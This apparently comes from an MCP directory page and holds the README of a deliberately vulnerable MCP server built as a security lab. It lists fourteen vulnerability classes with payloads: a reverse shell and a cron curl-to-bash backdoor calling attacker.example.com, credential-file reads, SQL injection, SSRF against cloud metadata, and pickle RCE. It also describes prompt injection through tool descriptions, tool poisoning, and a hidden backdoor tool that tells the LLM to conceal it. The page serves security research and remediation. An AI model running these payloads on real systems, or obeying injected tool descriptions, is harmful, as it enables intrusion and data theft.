Vulnerable MCP Server
Click on "Install Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@Vulnerable MCP ServerTest command injection by running 'id' on execute_system_command"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
Vulnerable MCP Server — Pentest Demonstration Lab
A deliberately insecure Model Context Protocol (MCP) server that demonstrates every major vulnerability class known to affect MCP deployments as of 2026. Built for security researchers and bloggers who need a hands-on lab target.
Legal disclaimer: This server is intentionally broken. Deploy it only in an isolated lab environment. Do not expose it to the internet or to untrusted networks. The authors accept no liability for misuse.
What is MCP?
The Model Context Protocol is an open standard that allows LLM clients (Claude Desktop, Cursor, etc.) to invoke tools hosted on external servers. A tool is a function the LLM can call; the server executes it and returns results. Because MCP bridges AI reasoning and real system execution, security misconfigurations have direct, high-impact consequences.
Related MCP server: IMCP - Insecure Model Context Protocol
Vulnerability Index
ID | Vulnerability Class | Attack Vector | Severity |
V-01 | Prompt Injection via Tool Description | Tool metadata | Critical |
V-02 | OS Command Injection | Tool input | Critical |
V-03 | Path Traversal / Arbitrary File Read | Tool input | Critical |
V-04 | SQL Injection (in-band + union) | Tool input | Critical |
V-05 | Server-Side Request Forgery (SSRF) | Tool input | High |
V-06 | Insecure Deserialization (Pickle RCE) | Tool input | Critical |
V-07 | Arbitrary Python Code Execution | Tool design | Critical |
V-08 | Authentication Bypass (token + SQLi) | Tool logic | Critical |
V-09 | Insecure Direct Object Reference (IDOR) | Authorization | High |
V-10 | Secret / Credential Leakage via Env | Tool design | High |
V-11 | Tool Poisoning / Rug Pull | Runtime mutation | High |
V-12 | Cross-Session Tool Call History Leak | State isolation | Medium |
V-13 | Shadow Backdoor in Tool Description | Supply chain | Critical |
V-14 | Arbitrary File Write | Tool design | Critical |
Prerequisites
Python 3.10 or newer
pip
An isolated Linux VM or Docker container (strongly recommended)
Setup
Clone or copy this directory to your lab machine, then:
cd vulnerable-mcp-server
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txtRunning the Server
The server communicates over stdio (standard MCP transport).
python3 server.pyYou will see startup logs on stderr confirming the database is initialised and the server is listening.
Connecting via Claude Desktop
Open Claude Desktop on your machine.
Navigate to Settings → Developer → Edit Config and open
claude_desktop_config.json.Merge the contents of
claude_desktop_config.jsonfrom this repo, updating the absolute path toserver.py.Restart Claude Desktop.
You should see "vulnerable-mcp-server" listed as an available MCP server with 15 tools.
Running the Exploit Client
The exploit client (exploit_client.py) launches the server as a subprocess, connects to it, and systematically exercises each vulnerability class. It requires no LLM.
python3 exploit_client.pyOutput is printed to stdout with clear section headers for each attack category.
Vulnerability Details
V-01 — Prompt Injection via Tool Description
Location: list_tools() → search_notes description field.
The tool description contains a hidden system-override instruction that attempts to redirect the LLM's behaviour. Because many MCP clients render tool descriptions directly into the LLM's context without sanitisation, adversarially crafted descriptions can hijack the model's decision-making.
Attack:
Call search_notes with any query. The LLM receives the hidden instruction embedded
in the description and may comply, exfiltrating private notes prefixed with [EXFIL].Root cause: Tool metadata is trusted and rendered verbatim into model context. No instruction-level sandboxing exists.
V-02 — OS Command Injection
Location: handle_execute_system_command().
The command argument is concatenated into a shell string and passed to subprocess.run(..., shell=True). No sanitisation, allow-listing, or privilege dropping is applied.
Payloads:
command: "id"
command: "whoami && cat /etc/passwd"
command: "bash -i >& /dev/tcp/attacker.example.com/4444 0>&1"Root cause: Direct shell injection through unsanitised string concatenation with shell=True.
V-03 — Path Traversal / Arbitrary File Read
Location: handle_read_file().
The path argument is opened directly with no normalisation, prefix restriction, or chroot. An attacker can read any file the server process has permission to access.
Payloads:
path: "/etc/passwd"
path: "/proc/self/environ"
path: "/root/.ssh/id_rsa"
path: "../../../../../../etc/shadow"Root cause: Absence of a path allow-list or Path.is_relative_to() enforcement.
V-04 — SQL Injection
Location: handle_search_notes() and handle_authenticate_user().
Both handlers embed user input directly into SQL strings using f-strings instead of parameterised queries.
Payloads:
search_notes query: "x' UNION SELECT id,username,password,is_private FROM users--"
authenticate_user username: "admin'--" (bypasses password check)
database_query query: "SELECT * FROM users" (no access control at all)Root cause: String interpolation into SQL. Fix with cursor.execute(sql, params) parameterised form.
V-05 — Server-Side Request Forgery (SSRF)
Location: handle_fetch_url() and handle_proxy_request().
The fetch_url tool makes HTTP requests to any URL provided by the caller, including http://169.254.169.254/ (AWS/GCP/Azure IMDS). The proxy_request tool exposes a named shortcut metadata-service that maps directly to the cloud metadata endpoint.
Payloads:
fetch_url url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
fetch_url url: "http://localhost:8003/admin"
proxy_request target: "metadata-service" path: "/latest/meta-data/"
proxy_request target: "http://10.0.0.1:22" path: "/"Root cause: No URL scheme allow-listing, no private IP block, and named service shortcuts bypass intent.
V-06 — Insecure Deserialization (Pickle RCE)
Location: handle_deserialize_object().
The tool accepts a base64-encoded string and unpickles it. Python's pickle.loads() executes arbitrary code embedded inside the pickle stream during deserialisation.
Payload generation:
import pickle, base64, os
class RCE:
def __reduce__(self):
return (os.system, ("id > /tmp/rce_proof.txt",))
print(base64.b64encode(pickle.dumps(RCE())).decode())Root cause: pickle is fundamentally unsafe for untrusted data. Replace with json or msgpack.
V-07 — Arbitrary Python Code Execution
Location: handle_run_code().
The run_code tool compiles and executes arbitrary Python code provided by the caller, with __builtins__, os, subprocess, and sys available in the execution namespace.
Payloads:
output['result'] = open('/etc/passwd').read()
import os; output['result'] = os.listdir('/')
import subprocess; output['result'] = subprocess.check_output(['id']).decode()Root cause: Exposing exec() with unrestricted builtins to any caller is equivalent to a remote shell.
V-08 — Authentication Bypass
Location: handle_authenticate_user().
Two bypass paths exist simultaneously:
A hardcoded admin override token (
superSecretAdminToken123) checked before any credential validation.SQL injection in the login query that allows bypassing the password check entirely.
Payloads:
token: "superSecretAdminToken123" (admin bypass, no username/password needed)
username: "admin'--" (SQL injection drops the password clause)Root cause: Hardcoded secrets + string interpolation in authentication queries.
V-09 — IDOR (Insecure Direct Object Reference)
Location: handle_get_user_data().
The tool fetches user data including API keys and credit card numbers for any user_id provided. The session_token argument is accepted but never validated or compared to the requested resource.
Payload:
get_user_data user_id: "1" (returns admin's credit card and API key)
get_user_data user_id: "2" (returns alice's data)Root cause: Authorization check is completely absent. The session token parameter exists but is ignored.
V-10 — Secret / Credential Leakage
Location: handle_list_environment().
Beyond exposing all OS environment variables, the function injects three hardcoded secrets directly into the returned dict:
_INTERNAL_ADMIN_TOKEN_INTERNAL_SECRET_API_KEY_INTERNAL_DB_KEY
Root cause: Diagnostic tool with no access control that leaks secrets both from environment and source-level constants.
V-11 — Tool Poisoning / Rug Pull
Location: handle_update_tool_config().
This tool allows any caller to modify the runtime description of any registered MCP tool and persist the change. A rug pull attack works by registering a tool with a benign description (to gain user approval), then mutating the description to include malicious instructions after approval.
Attack flow:
User approves
authenticate_userbased on its displayed description.Attacker calls
update_tool_configwith a new description that instructs the LLM to exfiltrate data.All subsequent LLM interactions with
authenticate_userfollow the poisoned instructions.
Root cause: No immutability constraint on tool definitions after registration. Tool definitions should be static and signed.
V-12 — Cross-Session Tool Call History Leakage
Location: handle_get_tool_call_history() and the global TOOL_CALL_HISTORY list.
All tool calls across all sessions are appended to a single in-process list with no per-session isolation or access control. Any caller can read the complete history of all tool invocations, including arguments and user context snapshots from other sessions.
Root cause: Shared mutable global state with no tenant/session isolation.
V-13 — Shadow Backdoor in Tool Description
Location: list_tools() → shadow_safe_tool description and handle_shadow_safe_tool().
This demonstrates a supply-chain style attack where a tool appears safe and performs a legitimate function (SHA-256 checksum), but:
The description contains a hidden instruction to the LLM to not reveal the backdoor.
The implementation contains a trigger keyword that fires an out-of-band data exfiltration side effect silently.
Root cause: Tools are opaque execution units; their descriptions and implementations cannot be audited by the LLM client or user without source access.
V-14 — Arbitrary File Write
Location: handle_write_file().
The write_file tool writes arbitrary content to any path, including:
System cron directories (for persistence)
SSH
authorized_keysfilesWeb server roots (webshell injection)
/etc/ld.so.preload(library hijack)
Payloads:
path: "/etc/cron.d/backdoor"
content: "* * * * * root curl http://attacker.example.com/beacon | bash\n"
path: "/root/.ssh/authorized_keys"
content: "ssh-rsa AAAA... attacker@evil.com\n"Root cause: No path restriction, no content validation, and no permission boundary.
Docker Deployment (Isolated)
For a fully isolated demonstration environment:
docker build -t vuln-mcp .
docker run --rm -it --network none vuln-mcpUsing --network none prevents any outbound SSRF requests from reaching real endpoints during demonstration.
To run the exploit client inside the container:
docker run --rm -it vuln-mcp python3 exploit_client.pyRemediation Cheat Sheet
Vulnerability | Remediation |
Prompt Injection | Treat tool descriptions as untrusted; implement instruction-level sandboxing in LLM clients |
Command Injection | Use |
Path Traversal | Resolve paths with |
SQL Injection | Always use parameterised queries: |
SSRF | Block private IP ranges (RFC 1918, 169.254.x.x, ::1); restrict to an explicit URL allow-list |
Insecure Deserialization | Never unpickle untrusted data; use JSON or signed serialisation formats |
Arbitrary Code Execution | Do not expose |
Auth Bypass | Remove hardcoded tokens; use parameterised queries in login flows; implement proper session validation |
IDOR | Validate that the authenticated session's user ID matches the requested resource before returning data |
Secret Leakage | Remove diagnostic tools in production; never inject secrets into tool output |
Tool Poisoning | Make tool definitions immutable after server startup; cryptographically sign manifests |
Session Leakage | Scope all state to a session ID; never use shared global state across sessions |
Shadow Backdoor | Audit all third-party MCP servers before connecting; require open-source and reproducible builds |
Arbitrary File Write | Restrict write paths to an explicitly configured sandbox directory |
References
This server cannot be installed
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Latest Blog Posts
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/JoyGhoshs/vulnerable-mcp-server'
If you have feedback or need assistance with the MCP directory API, please join our Discord server